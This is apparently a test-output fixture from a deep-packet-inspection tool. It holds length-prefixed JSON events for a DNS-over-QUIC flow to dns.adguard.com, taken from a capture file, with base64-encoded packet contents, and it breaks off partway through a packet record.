+00692{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"doq_adguard.pcapng","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1608278425043,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.12.169","dst_ip":"94.140.14.14","src_port":41070,"dst_port":784,"l4_proto":"udp","ndpi": {"proto":"QUIC.DoH_DoT","breed":"Fun","category":"Network"},"quic": {"client_requested_server_name":"dns.adguard.com","version":"TLSv1.3","alpn":"doq-i00","ja3":"1e022f87823477abd6a79c31d70062d7","tls_supported_versions":"TLSv1.3"}} +00588{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":79621,"pkt_caplen":182,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":182,"pkt_l4_len":148,"pkt":"mt9Y+uvcCL6sCxduCABFAACoAbMAAD8RP6dejA4OwKgMqQMQoG4AlJ+l8P8AAB0RXf586nXFuX6jZU8LHDkLsXUEXOoexyg1M1\/+GZvbsGeGqJJILJUnaeRPlfaewSkJ0QM1kILJB9RkVGFQIKTOYfD\/amFvF5G2sUWGCAnPMQAxGtra+t44CL4uNVFuP1UAIYDjP5flgPs8Cfp53+s66ugMjRy2XoqR7aApyqmdoc3EHdt+2Cg="} +02072{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":84825,"pkt_caplen":1274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1274,"pkt_l4_len":1240,"pkt":"CL6sCxdumt9Y+uvcCABFAATsXYtAAEARnorAqAypXowODqBuAxAE2FXxz\/8AAB0EXOoexxFd\/nzqdcW5fqNlTwscOQuxdUBgKDUzX\/4Zm9uwZ4aokkgslSdp5E+V9p7BKQnRAzWQgskH1GRUYVAgpM5h8P9qYW8XkbaxRYYICc8xADEa2tr63jgIvi41UW4\/VQAhgOM\/l+WA+zwJ+nnf6zrq6AyNHLZeRFASnCr8obwp9Ty5sR7kprQnC0Sv2ZcsxYzIMAthEKqYU0zMuGSEznU2JvTrq\/bykaeb5dqdGxdiszDYKDU6Jn7sPAcjUZ2gh8+BYZGe9phFiloXFkZRqkF4syIAEkOpcy2MK\/fkeUIOyP6wlwkzaY3fbmuxHrqRyLu45SBR1VMQFyHi28JYz7QmMQfDMqnuI0IWIuFKHwG0T\/v0jhF19jPBzG3JSCrPoiaSUV9rQI1kZsCKoMrGjumM68QAfolXONsAd2IYudReWz3mQrB3zOSDXc7+iPJJwc0+KS52obxIkJ0I8SZ7CLjp+FpGH++2YepZGSZYPB5rc\/4HU1bQ4ocmPERQ5l+FpQxpj4cq2AJTX05VWg9LfjDFrHE6D6oMOTTfheRhy7X3SqhzfVhy\/w3RXnv00qwNGkVr8QIR+wCM95sfw88fV3+NqmU3vnLU2z+qvvT2HlvRQm9ykjYa60lgB9sFJ5Ng9ge\/cpn16AR4r\/NoOup4fo8EeFB8cFrAVg+3WG3mgWxUdvK6oND07fFN48QrriL1y7XuIB3Fa65jgY5B4zE7vkkBXKUfGormP9hug8dHVr44WkbHCTqfFJuTHKIf9gtfJ9VQps1jhQjM952WGdM\/mFbut40pSDwrgQgdt0stO2C4PvDiwgzZaEybJzcZBHCUgM8reKIoRyLrSsWciN2b3tsFQXXaEeEGdt8Bc\/5zyh11uwNSzGQ\/Fl2k7QrJleMEWlDCFHuNFZdb7JDVOvqjlXAHTTHX0xSx0KU4aqrg\/kZVORXUFVlv\/xu8mW\/pGVbnSUQNAvLvkvHNdnu1ZPxtBzMoqU+96Xp\/DxrznNbYv32YFRLbK8kA8U4FaZhJ3oS+5KFBikdLEV9Hai2hbk8GZjN2iqviHrHccJqNkg3SIuZD5qamhaUaMG9NOa5pQ9jLJU\/ymgo7DdgKxRH8uuDjWk10CemOYV7pIj9XJEg0HHMmlI1Un6aDxtAu5UK1qm1HNb38yVa+sYeN5Ew6KHyqBUxxS4IflHX5qeqIZPOKrYg5MCubhSudLKbjcH5sXIzejKF8iZ0FlTKPdHSExxjW0QFN6bAWoLJuZE\/4kDcgHKTjdquB1S9wjg6Pah9A0AO1p8+A56ZYLVjRHdUF0Eo6bHTdn4hIgHvxPjCmO5BtWUKEeQnKGkkR8kgREjXo6GfEeHC4Vb4SCK88RJFW07bR+3U68E0sOKimZElroA+KMcE32OqnpsNULoyV7BunASAegp78gVNI0Bil4Klffm6tM6xnJr7Wx08jSGi+pGYWmiGnj3zfHIxpQuw4bIpm3S\/lud8tMnqwiD6\/bIUKO1SxVSWZBp6s2PlGyGHrgwwdIy5nXoip9OukmbhVHpu5a+3BERo9ToRhkKbGsS5gAuyL08\/F6VvMQD\/JdB+\/2rkXCT7ca7Lr49P5aV+w66D8Iwyn8BcCGyOLiGucN4S\/JjMhOeFgH9mu48hQ78o="} +02097{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":122822,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"mt9Y+uvcCL6sCxduCABFAAUAAbQAAD8RO05ejA4OwKgMqQMQoG4E7CdXyf8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRABAlUp76TjgEqdop5UKSI\/F6C7Gd9+z58rAvv5K3VJcoj\/wbKGCvwUk7hAIZQkwS0eQW8volAE\/nQLfPF\/ox4Fu54Iz80wj9fAhhK9DPh9I3m5cX1kBTgklYoQzHtAgZePSyxHP6hihn0FPt1BzVGGJcnUShw4Fy27vLE7qS\/7U+ePnY21jz69vyKuwXZuTiiipLJ8YK+0o6f8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qREQSNEAdToqwkUBeCPSTrtq1i+\/poFtGCmte08vfTNyuyRI2BuDSMLi4bKO8pdcS2OC7T2X+MCJiync2qglwLaK\/ZU6bCtCK6b7VW919zbwzxcwIxzakqRvR\/mHdyX39t6PkLoaGvK0X2vbjcfBtb8h9mxy2cMiCG7\/xmTssSfThjiW\/NA9r+eiSMaDW26lOxC0Myi2DyzhDaTuSGSXZwR3CdWz\/ehHzTlDnGfh\/fqCFNYcS3v3UJiv+Cd0NLG44Vb9GGFrsZAF0TFEPoReaDJEc8E0xrNED0dRphUxIr\/DqFgN88iZ7j379UNmsHXy+9mWkitLF30R2ORqsURlznCsncam1RRgTWr4gcq9w4PNs52tqYlXDTCw4di7UTg\/DXRKcsZbsYlRVAfuycbyKPF0+Crf95FQRqiDvujNGcSTFX0VUkcz4Fa3pVHkQZTqBaaJldHmG75IwR2jDpJHz0f8U25KfeMiidTlxNhhm4ZqtGvKIQ4l+F6Qgx3jz+Qgf4yWjkIytmooZaorzphY\/a1kd6q15yS9OAMFDlQGdC5w9pE5P54RHRZK\/rZQvTXChmSf0vHRtYR3c1oFoJT5F8p2MZU6xhBjIUVysia54dwyFSZwbXqhUTXJrPSmDnqDfgBnK15jat6fjDPn9EWVvi7jaxG881+aOZ0xxnx8yaRNN3cCXPRxuMVSBmS7R7uoMquwsmmUOS3HlBY98FG9pd\/pxl6D9GixGNYBEezKcsx34lBBN0+GU4QtQleLTJjzhkmdkqnu\/8ysyuk3AuGjDDpL4t9TZcSgmggtEeEIAD2uQ2Zs4+WrO+VF5RxXbNWqozAUKDXdWU4IhvJksaRt8LtCWMK+Q00gsZwn3bWnNtabhQ1da83CeC15FJEtCDSDfxhmRH8vWgIrJbPgN8gB44r7wKu16DvYGW8aqf7zmsckEnkXbn9FLsfs6ALLsVL2msz6xtzgVn74SrIXydDwMfx1fXsW5dM2nkOLSCiM7YyFahko2kEAUPa6aTOfHxZLl9R7YCHnpAfkDCw04yVocKSaV5Pw7dDALMPZTFdRwdAqoyp3JhcsW4wUVqsp0PTozIQzKE7JAcqGlvFfwXzZ7er6uAZdx36hfYDgYoKAl7S301UkQuX9mm323V1dh5OybrgeBmnlr+MoKe0Mw9PiTuvSS8+Q3jyvTGx5OnutvIwmCJZ3KlkUzAfZXELr6zCDgD5WkbH12NIA\/4Eve+66VJmSimGr\/rnpAwbN5efr8WSYM7kHl8\/tHLa\/St+DGu3hHqjLCX57P6yvpn13zBn38N5nhVh4BtxHTcXl9nJ40h9Fo7xe0oRT+d04279tPg1uhRPq+kJCTbSuAl9GMdjJxVxoxsuu0aJpaqKEm+d\/QnaM4+TSccA=="} +02103{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":122888,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"mt9Y+uvcCL6sCxduCABFAAUAAbUAAD8RO01ejA4OwKgMqQMQoG4E7Ejn6\/8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRETGDa1HS+zF6UxQoqcWPtvaZD0M5D8vOuuwT1lT22BsNzW7UeqT3G1yaqqeziGQS9CbrgeN2LYCFWePpTXrCGMIZRaKZ4Dzl\/ylxVo1sZoKf5iJ77RobOd4uOVr4v1fzVtZK7SSnw2TNr9+YJLUw8RzWrFl1R5\/LuSFg\/4LBpdELaercn4cag8\/wfjYg5esjxgyw3\/DI39x6fJiEeLfYiMTQhdl4S1DvT1bf4On1cZ5Pve8aL9ZNSUV6pjz8exU6v+yozsTMJ2gReNqSJxiLOZA7Chr1rP372EcxwZOJfjuB3dtVyhjEVmDDR0MFakaOiW2TopUKwSO6tanORLdiScMWtoVB9EEXWrRqu7AHeUwMqJpJaM2sTYg9vj5V8V49eB01MwBWnW3RvuELSAA\/rr0tFC5kN8x80Q6hkUR9WERSgsSZyq2fWg2XEVb6wgyhQj7yJd8o1FbiW9te0lPExFduactwU4ZdCzzWwIfFwRTxEDa1WjbFyzhWvrV\/L8AnXhR\/fz+ImBVLIzbVNVFQzjIpkvT0AiSLhI\/Q3u+VRc1QDRm\/KyZFemkvcqHRqTa1EzbDy\/8E8zwa4LPWD4qxNxc86\/+Z2tRmJf7XxMZKQFOo0p\/mtsuZYDLoqPpnbMk+WCZqUAKJw5ylbvHbPXC16P9bvC6+EtzBwnKuIepTSqo3Idks2KPcjL1GocIhx65JvpwFw49ItI8ZlGPLwUdd\/nv1HyD8d1Q0CYp\/9+4zHKOO4YHyAjhX5MzgfB2TYJ+1KbY6eG8U+KMm575akz5nzlxw26myucQvSCqFwJ7xEC8AIJrnjWDoPOQR60myqM33dqPGKrP6kE0cAk+afxU3b\/vK+rfZEV\/Py90klu2hWkGl5in5MPx0bsWnQ0F7CXctdd02NLCht2yp7ll4ETNeFn3XM6mhON3pCvy498D54qI4zen22mbk\/WqVm3E8+JTyfl\/CzxZ4qyEDlpfxf7GEaVhJ7rqcius2EygkgEVV4xY2XRuUR766UoZs8qWnepQKnzhy\/9amls+aw28xFV3aYpewQpsypFwiv7Z7bDx+nQsJYuuS1kaashnFzhaXmhKUkxgorWYVnMEjKkzb\/IUGbuhdZstKP7O9fF7e6KKBxNLLfRS0lfTf+XipzVaJcbDwmAd2AluLDPZofxNzCj5cPuXES3Heazc8O8YpvXof3ytzfQk5x+KqUqi\/+Rxe9T3HFewik8RMi8MrjOjdYIZ51+0tdEPKmEFbsQMTFbcW172ZavX5jdgrAuD4MwmJ6wgKGaYwWwNRXhzRCSVvtIsCGrk+txykp4tvV75By2Kor6l0z9qnIl7gBOVIiHasEepsdO4OiB\/RH8LGAnt03cK3PZFqYhm2MSA6+sCm3NKMl7pHROc0Syuyaw8\/S9pn8cSw1kIUOxu0CAy6MKzrQ3zeUd8YrXWJeJn9B45tmf6F\/IZwdW6kr8sz3gshgpqCh64vBnmFxQNepWuT\/rvLhTewMp7+YSfmgGvgJk0VlvONZkv9khFJAToEnRePOuBnhUhkWLAJGxHNu\/tfIpyWrL0N3ERF4a3\/HS+2EuavJ219sPDpGBPIVfa4k5r2z4Wkv1gAWxeE7KYlcVSwrhvZRtvOqoTh68InjRMQA=="} +02081{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":122907,"pkt_caplen":1284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1284,"pkt_l4_len":1250,"pkt":"mt9Y+uvcCL6sCxduCABFAAT2AbYAAD8RO1ZejA4OwKgMqQMQoG4E4rMu4P8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRES8YdAOSXbPivUdpmFMsBABoDiUk4gTwURjKcEsfLWlEaUSy7lkRcIZAFSEYOvXRWhK0cKlMwWxrJykY\/MIJ2BhAtJIO2+H4DWMdtN+q5ov\/uDIeckJ4i6dtDwg9kltDsM\/OyjptM8qjbE9sxIRCxQD24gfctfqykt1WW\/rraAgIQgUQEW1n8iEUr0Qiqh1On8w7njMg+qcclwTGygu98MqW0oDKtoJXTYgoy3MqQwGycg+hoZrVzcmM0DI4LbYVA6Xe\/Abwz4PB4Jj+hGMaaW4CbWcivnDzDv1oXgAZ+uUHb\/LzTlZmy2W2o76iANBx5s+UV9TdRZf8VSI33Bb6jwNQHY7ZlhtSlMdzakdFGK8yQ88umMLSmzVxIb5npGTvcsfGcbS++JrLViGY5jXt7TwZ19n4EA+84g5rETn3Ol7EeXGb6y0I\/oPuEMzYVjSnJfUKwxUFNY+a+7AOuu5\/x\/wGTxm1GKlG5T\/K\/MXLfnLAhTql+ny1P9pAPtARujO3b3ywTYkcFhr2l9sny0E3wfKQxNfU5fZONKt19cqtYiE5ZD39k4LrH5bgkWgKWnByCQbNwI0cEq0\/MsuxObvkwrPSO9+8EZVfxL8U5GMEgFeB4lM4K3B3rdD0WhBNqB2qXlMT0a4es3\/DQhs+RYj6exp8E4eHZ4Us9iLfgHEy4wxjiwDlkhT5DFW2ocqTsgxvEK\/DHd0dKnl\/yHnHOtpMVTy+\/JPi5ewrFOtPduWr0KnTyE35g6rb4YE8tMWYgY6GsRciOPt5kf+SYwjzkJ3jISyDx47NdURZzJpexWBQAG44wHyCVSKEjcKzOf2XpSJUQjkPQIyqTI+Rcuj7oM9sg9Jz0VQE0a4FHn2SlWXAo56ykguI\/nX9rIffwTH7twiVipQ1uDKy7xT8enYPeH9fEU38o7b9vNptc7LTCu56DGkup8sNcMwA7mVjIL38eEz0VH3xqUOMReBbRiEpDS9dSTLmspjEvPfi9EUmOoveeWqV9ifAs1zbnhrT4BLpkCDq95iHGgRGKYQq7+HOyEFVQy7oObEes8WepPUthZ92PLeWy11Sqzs0B7XJ0Hur6g90EbIivUkYq7TfUT6LAZHKj9M2GMkCknK1zY+3hDEwjDBbY41M0ce7hwwcGHqByUlg2OwEbg9xgOCX\/d\/rB9QrJOCHugHo0zMX+ahIyzGlV1s4D6Q4oFvgcE\/DJY7ioX3rSReZ+MZG7dLolG1BWqUvgQmm5LziqYv5XvwuQsvV+k61VKoIgSEP78fvj2f3wyykkTTGeyRzgB+49dUbgnl0yx\/qWCfJwOV6vkEgz15OoK64DPLj3X7xV0uSul1dUcSy9S1Eb2Yz6equJ0Et5QEHlhE4ijCevs0SKHrk\/Dynreg+rNYlaeUEuaK2IDl5g7E4ydxVYfMyKgmOXbCp4BpQ\/lYF1tbg5fxah7zlWbsE0B5Kd9jgOEVHprEicL97T2irNu3yxKgQ83ZXRmt+FXgEa3I5ctmnU42N8YWncocnLBkN5lh4sJ+G6llrcQblRKRPXSm2YVoqHzqD3jrpugxP3kftxhZ7aQPhHTI9TcbvOf9QqaeCo76xULZOh8dqY5ctnZjxCRdkl72hw2iZ1Et"} +00476{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":126686,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"CL6sCxdumt9Y+uvcCABFAABTXY9AAEARox\/AqAypXowODqBuAxAAPy\/p7\/8AAB0ECv0qRBFd\/nzqdcW5fqNlTwscOQuxdUAZS7OEL4PqOeY+aMAau+z4Vg6l7UXHqM8WAw=="} +00473{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":133348,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"CL6sCxdumt9Y+uvcCABFAABUXZBAAEARox3AqAypXowODqBuAxAAQMIe5f8AAB0ECv0qRBFd\/nzqdcW5fqNlTwscOQuxdUAa8qHVaH5w0XzfRDPA5B6g730cZpzpEC9+oZg="} +00609{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":161313,"pkt_caplen":198,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":198,"pkt_l4_len":164,"pkt":"mt9Y+uvcCL6sCxduCABFAAC4AbcAAD8RP5NejA4OwKgMqQMQoG4ApPSpU13+fOp1xbl+o2VPCxw5C7F1HjDttlJaF3SzA4W2p9mc8NgAgWmKLPAZmKeWhFOpsv3x6B7FQn+\/aowokLDpqyB4Kl2F3vsc3yhJEJcoO9+cKxlX7RBENxXRx9kRidljqg+CCaZ5ojugZIW0jnlXh\/arES58aZdYgqgmPVhb1NGP8h4hMXOyWCd5e26XAfUdrC55TDJUvDWyg8qh"} +00471{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":167916,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"mt9Y+uvcCL6sCxduCABFAABRAbgAAD8RP\/lejA4OwKgMqQMQoG4APRBC5f8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qREAX0dXM1JzfwsLPqBfPXsnd7hwpGsZmZUA="} +02084{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":226623,"pkt_caplen":1284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1284,"pkt_l4_len":1250,"pkt":"mt9Y+uvcCL6sCxduCABFAAT2AbkAAD8RO1NejA4OwKgMqQMQoG4E4mRh6P8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRES8G0Vw1H2OOcqh+Y9C\/d91gqw7e1W8WrklmxNMOiQQuqZDBXMfJD64OQAD3bIA77MQitH63brtiw2MzpyjyEkYqz0J9UTaAWf3izBlRSY+n1TaeXT9KHYOgsmbDJDLUscM68\/njtrE6Dg6q99RbGyGIRsSAB52a\/qUc9pSCAS3YmU1qFgnqW3e2IEqlfSeyy3U2xJlFiWPXE8LZiiwKmkNJJKdls8H5sGoDpxji3NBh4YPFwuQaed+GdGTIyCSWk9ZpJ59cbEQW6PCEVvDcxiiV1ZaJXBwbX8Y81Vabv3IxYatjbMsZmHjR8XiALCVJrfym4eeb8vxsZtvpkn\/3+76RIKM7pKtlObFRA\/fUrZvy8pW\/KJgCpg5nrt1K02i3ftKOSetpwMK4I9SlzYwS9E3gm9yjrswoYmjhA2fX\/lGzsME1CIPmmbM8GxBguTFoR8NxqrXVcxWb1jsQ8VvJZLxMEkdsYmHc9vd1oYDGuTngS2eQsJzvETFCljGIucPWRpoOSobNXX7uONn6qIeo71iYgJePTNKTXu+W4YlkDqiBDDiqS+\/LLPIpFwoExLrDYsH76JhAj+5tD1MUmgpaofDYfYEPy1CI4ZVLYrfisUg8t0AdjB4pXsc6eRY4An6rTOUS6HKLN1Qe6ZWOeDmMUN8AZipoH408HHu9\/5ke9c+KXiWJxmIFGSxVtJnQwEJ\/9GiovC25\/B4Wzc8xG2k3Fe9sjwl+KO\/VKvvcVDgVyu3FEBCNGgtcKWQNNDcYh1+9IOFTEc6dcWvttYv+JX+yeWKDD0qzKgrj\/6usvFF1g+tqv2WeilbPUEKIIal3pJe\/xixS2JquAkUtpLqZOYq+nHFo0r5rDK8gjUoQ1QEKJmHZ1lLK43PjxrpB5tiKGVFnOBtuUuoGIRs+tsDrZRSF9l77JpViJXG0ZHCjoCZpZ\/KE41E7NdIPZ3tFFXmaPGP1oKUU+lomh7k7oW1D+U7sNGJC23MkSdJlI0Gwh0KbqvkWkuuKcOpcwrW1PAVz62NafmY6QCNgJ5ruyqqkDbRVOa+juRxlj87MfNAuHajrIkcI4Ev3GMLnDJ3H35RL8NxouHdNK0Bwslt4dfUSwHxZ8tJ4RWzz7XNlIQ6W7M2CVnjBHu8xaHcNkjYxheUl7IR8a0UcM2CHIQll1fMiYNwQjv7BZhUWW4zZaZBfGUMFq7h+XPSqwt1Eaqv+NtSL+mpQQGRYSH\/6Z9\/ohZv+OvJJKTTtJ8hCq\/AyzCJvg\/gg+YjTpgdNfEGbuUtD7ymrRvKUQNCXX2VADWWu2a9fELuVI67K2a4V8eERtyHv4U7zqN3wda0VGekAybUVaYrCzRL4VGGW25TS74Dz3gExqK8sTr+DiAP20E3T2am+xovBeFjAG48wv8iE5jcc8xVF28a3scNAa7ZefJxepCYFgbq2P1ydHAFz\/9VSe0Rtey0V9Pm\/UKHr0t9X+Y1fdB85omG9iJcY8x9un7kHjOBLkCCKyoJp8RAHtA5PbWL1AV43+zAX3kAbD2azDFXrgSSYyscZZk\/g3YSKJ1S3L6g4cSSMPg3BiWjZfC8SFrEIrZrJp9Ey0x33\/\/MwCTTg3Fg8wyWalT9KUAcBvGwzsTmQuW0"} +02094{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":226639,"pkt_caplen":1284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1284,"pkt_l4_len":1250,"pkt":"mt9Y+uvcCL6sCxduCABFAAT2AboAAD8RO1JejA4OwKgMqQMQoG4E4rPn6v8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRES8uvAdZcd0rvo+rF0NTnozHzGK6zIg3+VZY2UW0m7jpiOBjqCRPBn6rsaYUYcAg3xSiL61csKF0od\/RJx1VrTBQEEbpc772adc3vXG62qb71QlyAIa1kgjFL58a+RuojLlGRGt7BDptW9dwLb0Pda2WfeZ+CT1jE2hdjbtND+UtnBRWinh\/9LPayHNZZXEtm+fI6JYPWo7aZXVsCFRuTvpxPkDbCVsqmA+LpEGIMDd2RLD04Se28ovMnfda36ACql9oQg44V74BzkVjrOfAVJX\/YYYW+ahX3+PawwW8qHPTZiyKJRMVRGohFzx0CRrP4AJpTw8VDwBNG7uxkbOFaBo8IhqeNWWtgqmDRt7kTNPRAmYaUypLo0vzm0h3GHbwPdA5A\/OL\/KVq7KK1jyPSRacPDPpBW9Iah2pJQ0FDwhUol5WGnpl6lEF8nYRBdgjXn09JVdSGhmDNzSa59p\/wlYYPM5bc51AZlTEiiY\/O0A3vbvJL28aS\/HeED8jjHH+XJnJBz4W9caSHWXYy7IJrQuFcBr0zaqdHnL9L8gG\/G3r7mF37MRKC5ggN\/x4ZHo6r8P0q8zJUo1pFYMlnOH8AUGfViHSfRLJtDt\/LkqW\/v1CtHVMzn\/3gDd1rmk9For1YZaa+\/RAG9chv534enUM6OmgIw259\/\/xUTvzt\/Q359+bVlgxw7tpOKJzrE7GHMLDIKB7I0rrBBoyDN5HU1CdSbKHH061R2zW7B8zgvezhWo2MruHNYfryXg4fklyyGeU1QDfZlnWLmZU9Xrl2kG24WtgJ0\/4R7C0UuVNGIh6C+8nJuk0Q4JAcO\/a+Q9SBPcW0q2VO7s3GA573\/V0R3ZlCZWR8S\/2qAPgNoRSRz5kp5wQ\/orhC8a9zOTCh8GwT55rj40XdWFhMNHma4gPIXetZwjAa6aXKeaAL2p3PzNPXd37SnXv3KGOqWc+TKgx6g41V0HZewCbkrtNyUM\/1\/2DGMOIXpID5xUHF4h9Mu5PODzez63PYfFLPa3WVllo1Ep6vum8wiXoSZdCzyfduAew96qwBPys732H5cjafsjSG2FVKOCtRZJATQ4v0bsGHJEXBClIOmBwAvWnLT6O6l6\/TFDp\/Wlf\/ZQn7PCbDoDGlngwNJp3Y4wUJMdblvJRPrw67Q+C\/Ekt0pD1L\/jn5E3lHhE3x0KROMBuLtLr\/RzIJnj45\/BptVuJHYGPh7A6OvUO2f3OTkGFyId4IHVCoFYULoa6EZFDBmcHxuc2MosPLTIkG6GkwWP9NeKuWP6y4fhY867Wy0NcfeCi1KeDxkZxFSwaddt5EyELHq9GQP8c2vrnoHq9GV43N6eKk+c35JPNmC72v9sLN5mLzqplG2B8s4AklZhIpPGKqY2OFw16PvB8MsYkkhY1c0gs8UYbuhyBPFDrC9EmF3fF1B2bEdQGDYv7NyYB2HWv2SQsHT6UTkc94cS99Fk+gDAEEiSibXRQ2tlqyhBIAVH\/NT8Uw\/NNBMtmJjFeu75V0QeoKscujIBN8i6HVcbQ7TuDvDppmkSzH1gkAkl+28IhHGBBBMrTm0mj6TUAty0t70hCqaMwdRCJfPoPwBi8\/5CdNVU3yMw5mLl5spDdSgdRZpA1E6sM"} +02084{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"doq_adguard.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1608278425,"pkt_ts_usec":433118,"pkt_caplen":1284,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1284,"pkt_l4_len":1250,"pkt":"mt9Y+uvcCL6sCxduCABFAAT2AbsAAD8RO1FejA4OwKgMqQMQoG4E4gBv5f8AAB0RXf586nXFuX6jZU8LHDkLsXUECv0qRES8jklNSP9hrfN4jT\/oyQHcSv678Q3HxgKkoiWZGDaBC9fuLqj43rzFbUWPQXOctpekdVNsG+sw2+UDf+j5N4NVeHiTBwygNKR87tBG6VGF+xe7HUhOzSJVrsJerfW8g2boHf63jFMqMCOX4mIJinnpnqF39WJH3QI7MUjoh2OjVCdRNsiqtu+BaNmL4A7qsIG9L1EcW4FcHFZWf74VHYFFpX5GBMd3DtHQ\/k7N+PRhSDjEBQEpBnpxNvfdpUkdr8+rJiuWCgKnaOhMoEaKk8bZqYDW5EtRRNEc1JJhGljj9Ai3+poWtmuCYM6blueibrDpzikCawKG8z5t6aeBBKHUotg8t9lnAkaHDir\/gnyQD+24HGJt5V3MowhSdsZq27BqutG00ruayP13yMnzxkRmKgwORdpWeKtFs1y3lBbqL35MwNRbHbpLNvJLXcf1l5Avjm6qAUfmBGdXXYv5hAuIG5bEzA\/4FFZ3S4AoYifkoSeKwWrwT2b\/UK577pWxO2lE\/hqFZxOEytWoksc4WLxAyV2AI2ivIPy7WCBk7hTDHvTIbf2TqrmF+KPEOAyMqtPWu1p2wUO6rxLdwkHaRk1qjv+XItfKwaQKvCEUbLyQfYGkvWu+gog6kDChkhP34xu9CnFLQwf0+TJGDbxBxpCHbI2r+Kl+q7VufCJCw\/rBb16\/ANyJp6nFt0TxTs5kj2yy1fGuQVV2P3oiuJ8yVQGZOliW0r9x+8sQBYiG09W4G0DaDbOyZUfkb7dWMABROT7oAHHSrGE3FZfrFPOwKd6i2V7nHb8fT8tx1YG4+cL6RJr52cgKSuLmy8T+RSSsmAVnrg\/3yC340z+PNexJSsSAPK\/Gq\/Voy894IB0FoDkAQd\/DuKm6L0Z6Bis6Q14E5Zd66vAyChxbnK1m\/nBnSjcLGfOsvzWgWcjqrnarhCd9nP1Ij5pZC4G9gNxiCYUp2Va1qFs3moAy7Pla8c+Ya2wO1lfOpuEsBU3crhGOzbQZ52w\/1OW09Rbof75DZjMAbbecCX0Sm9\/AGGyJrzLG+IEAM8xH4c2TMzKRQMxRjCxWngD7asrBmwW8rofjdnk4X\/l+xws9Xjnq++LbsjwY9soooCiuPRsKejOnwD+wv0fcsCl1NFnOK7uP9J39NSw5nkcxriUaHt\/rIF\/R9L+caChbdWFj3nzEfER+FdTX+T\/NRWxa\/V1WDyY7ajEsg0s0jKG4DlUpzFTqHklMr9UkDgJrTEjWZcX+kaGxfo5Wv3jz2kkN9Tfz0K+vwnF\